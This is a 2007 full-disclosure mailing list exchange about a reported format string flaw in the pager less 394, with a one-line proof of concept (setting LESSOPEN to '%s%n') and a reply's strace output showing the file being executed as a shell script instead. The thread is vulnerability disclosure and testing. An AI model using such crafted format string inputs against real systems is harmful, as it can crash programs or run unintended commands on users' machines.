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Date: Wed, 31 Oct 2007 08:02:30 -0400
From: glopeda.com <glopeda@...peda.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: [+] Vulnerability in less version 394 and
	prior

It's taking arguments out of your environment for the format string,
put a couple more %n's and watch it die horribly.  That's why I said
"a meager demonstration."  The emphasis was definitely on meager ;)

On 10/31/07, Jeffrey Denton <dentonj@...il.com> wrote:
> On 10/31/07, glopeda. com <glopeda@...peda.com> wrote:
> > From: glopeda@...peda.com
> > Application: less 394 and prior
> > Type: Format strings vulnerability
> > Priority: Low
>
> > Meager demonstration:
> > $ export LESSOPEN=%s%n
> > $ less somefile
> > Segmentation fault
> > $
>
> Interesting...
>
> $ echo $LESSOPEN
> |lesspipe.sh %s
> $ export LESSOPEN=%s%n
> $ less iptraf.txt
> /bin/bash: ./iptraf.txt: Permission denied
> : No such file or directory
> $ less --version
> less 394
> Copyright (C) 1984-2005 Mark Nudelman
>
> less comes with NO WARRANTY, to the extent permitted by law.
> For information about the terms of redistribution,
> see the file named README in the less distribution.
> Homepage: http://www.greenwoodsoftware.com/less
> $ id
> uid=1000(dentonj) gid=100(users)
> groups=11(floppy),17(audio),18(video),19(cdrom),83(plugdev),100(users)
> $ ls -l iptraf.txt
> -rw-r--r-- 1 dentonj users 300 2007-10-25 08:04 iptraf.txt
> $ echo $LESSOPEN
> %s%n
> $ cat /etc/slackware-version
> Slackware 12.0.0
>
> $ strace /usr/bin/less iptraf.txt
> execve("/usr/bin/less", ["/usr/bin/less", "iptraf.txt"], [/* 47 vars */]) = 0
> brk(0)                                  = 0x8065000
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7efb000
> access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
> open("/etc/ld.so.cache", O_RDONLY)      = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=111039, ...}) = 0
> mmap2(NULL, 111039, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7edf000
> close(3)                                = 0
> open("/lib/libncursesw.so.5", O_RDONLY) = 3
> read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20\352"..., 512) = 512
> fstat64(3, {st_mode=S_IFREG|0755, st_size=309276, ...}) = 0
> mmap2(NULL, 311172, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3,
> 0) = 0xb7e93000
> mmap2(0xb7ed7000, 32768, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x43) = 0xb7ed7000
> close(3)                                = 0
> open("/lib/libc.so.6", O_RDONLY)        = 3
> read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@_\1\000"..., 512) = 512
> fstat64(3, {st_mode=S_IFREG|0755, st_size=1528742, ...}) = 0
> mmap2(NULL, 1316260, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE,
> 3, 0) = 0xb7d51000
> mmap2(0xb7e8d000, 12288, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13c) = 0xb7e8d000
> mmap2(0xb7e90000, 9636, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7e90000
> close(3)                                = 0
> open("/lib/libdl.so.2", O_RDONLY)       = 3
> read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0P\n\0\000"...,
> 512) = 512
> fstat64(3, {st_mode=S_IFREG|0755, st_size=13506, ...}) = 0
> mmap2(NULL, 12412, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3,
> 0) = 0xb7d4d000
> mmap2(0xb7d4f000, 8192, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1) = 0xb7d4f000
> close(3)                                = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7d4c000
> set_thread_area({entry_number:-1 -> 6, base_addr:0xb7d4c8d0,
> limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
> limit_in_pages:1, seg_not_present:0, useable:1}) = 0
> mprotect(0xb7e8d000, 4096, PROT_READ)   = 0
> munmap(0xb7edf000, 111039)              = 0
> ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
> ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
> brk(0)                                  = 0x8065000
> brk(0x8086000)                          = 0x8086000
> stat64("/home/dentonj/.terminfo", 0xbfc67624) = -1 ENOENT (No such
> file or directory)
> stat64("/usr/share/terminfo", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
> access("/usr/share/terminfo/x/xterm", R_OK) = 0
> open("/usr/share/terminfo/x/xterm", O_RDONLY|O_LARGEFILE) = 3
> read(3, "\32\0010\0&\0\17\0\235\1F\5xterm|xterm terminal"..., 4097) = 2522
> close(3)                                = 0
> ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
> ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
> ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
> ioctl(1, TIOCGWINSZ, {ws_row=25, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0
> ioctl(2, TIOCGWINSZ, {ws_row=25, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0
> open("/usr/bin/.sysless", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such
> file or directory)
> open("/etc/sysless", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file
> or directory)
> open("/home/dentonj/.less", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such
> file or directory)
> open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = -1
> ENOENT (No such file or directory)
> open("/usr/share/locale/locale.alias", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=2586, ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7efa000
> read(3, "# Locale name alias data base.\n#"..., 4096) = 2586
> read(3, "", 4096)                       = 0
> close(3)                                = 0
> munmap(0xb7efa000, 4096)                = 0
> open("/usr/lib/locale/en_US/LC_IDENTIFICATION", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=378, ...}) = 0
> mmap2(NULL, 378, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7efa000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_MEASUREMENT", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=28, ...}) = 0
> mmap2(NULL, 28, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef9000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_TELEPHONE", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=64, ...}) = 0
> mmap2(NULL, 64, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef8000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_ADDRESS", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=160, ...}) = 0
> mmap2(NULL, 160, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef7000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_NAME", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=82, ...}) = 0
> mmap2(NULL, 82, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef6000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_PAPER", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=39, ...}) = 0
> mmap2(NULL, 39, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef5000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_MESSAGES", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=57, ...}) = 0
> mmap2(NULL, 57, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef4000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_MONETARY", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=291, ...}) = 0
> mmap2(NULL, 291, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef3000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_TIME", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=2459, ...}) = 0
> mmap2(NULL, 2459, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef2000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_NUMERIC", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=59, ...}) = 0
> mmap2(NULL, 59, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ef1000
> close(3)                                = 0
> open("/usr/lib/locale/en_US/LC_CTYPE", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=207720, ...}) = 0
> mmap2(NULL, 207720, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7d19000
> close(3)                                = 0
> open("/home/dentonj/.lesshst", O_RDONLY|O_LARGEFILE) = 3
> fstat64(3, {st_mode=S_IFREG|0600, st_size=54, ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7ef0000
> read(3, ".less-history-file:\n.search\n\"rc\n"..., 4096) = 54
> read(3, "", 4096)                       = 0
> close(3)                                = 0
> munmap(0xb7ef0000, 4096)                = 0
> open("/dev/tty", O_RDONLY|O_LARGEFILE)  = 3
> ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
> fsync(3)                                = -1 EINVAL (Invalid argument)
> ioctl(3, SNDCTL_TMR_STOP or TCSETSW, {B38400 opost isig -icanon -echo ...}) = 0
> rt_sigaction(SIGINT, {0x805a220, [INT], SA_RESTART}, {SIG_DFL}, 8) = 0
> rt_sigaction(SIGTSTP, {0x805a260, [TSTP], SA_RESTART}, {SIG_DFL}, 8) = 0
> rt_sigaction(SIGWINCH, {0x805a2a0, [WINCH], SA_RESTART}, {SIG_DFL}, 8) = 0
> pipe([4, 5])                            = 0
> clone(child_stack=0,
> flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
> child_tidptr=0xb7d4c918) = 10823
> close(5)                                = 0
> fstat64(4, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7ef0000
> read(4, /bin/bash: ./iptraf.txt: Permission denied
> "", 1024)                       = 0
> close(4)                                = 0
> waitpid(10823, [{WIFEXITED(s) && WEXITSTATUS(s) == 126}], 0) = 10823
> --- SIGCHLD (Child exited) @ 0 (0) ---
> munmap(0xb7ef0000, 4096)                = 0
> stat64("
> ", 0xbfc68e10)                 = -1 ENOENT (No such file or directory)
> stat64("
> ", 0xbfc68e90)                 = -1 ENOENT (No such file or directory)
> open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) = -1
> ENOENT (No such file or directory)
> open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT
> (No such file or directory)
> open("/home/dentonj/.lesshst", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE, 0666) = 4
> fchmod(4, 0600)                         = 0
> fstat64(4, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7ef0000
> write(4, ".less-history-file:\n.search\n\"rc\n"..., 54) = 54
> close(4)                                = 0
> munmap(0xb7ef0000, 4096)                = 0
> write(2, "\n: No such file or directory\n", 29
> : No such file or directory
> ) = 29
> fsync(3)                                = -1 EINVAL (Invalid argument)
> ioctl(3, SNDCTL_TMR_STOP or TCSETSW, {B38400 opost isig icanon echo ...}) = 0
> exit_group(1)                           = ?
> Process 10822 detached
> $
>
> $ chmod 755 iptraf.txt
> $ less iptraf.txt
> ./iptraf.txt: line 1: 10.1.1.1:33073: command not found
> ./iptraf.txt: line 2: 10.1.1.2:54356: command not found
> . . .
>
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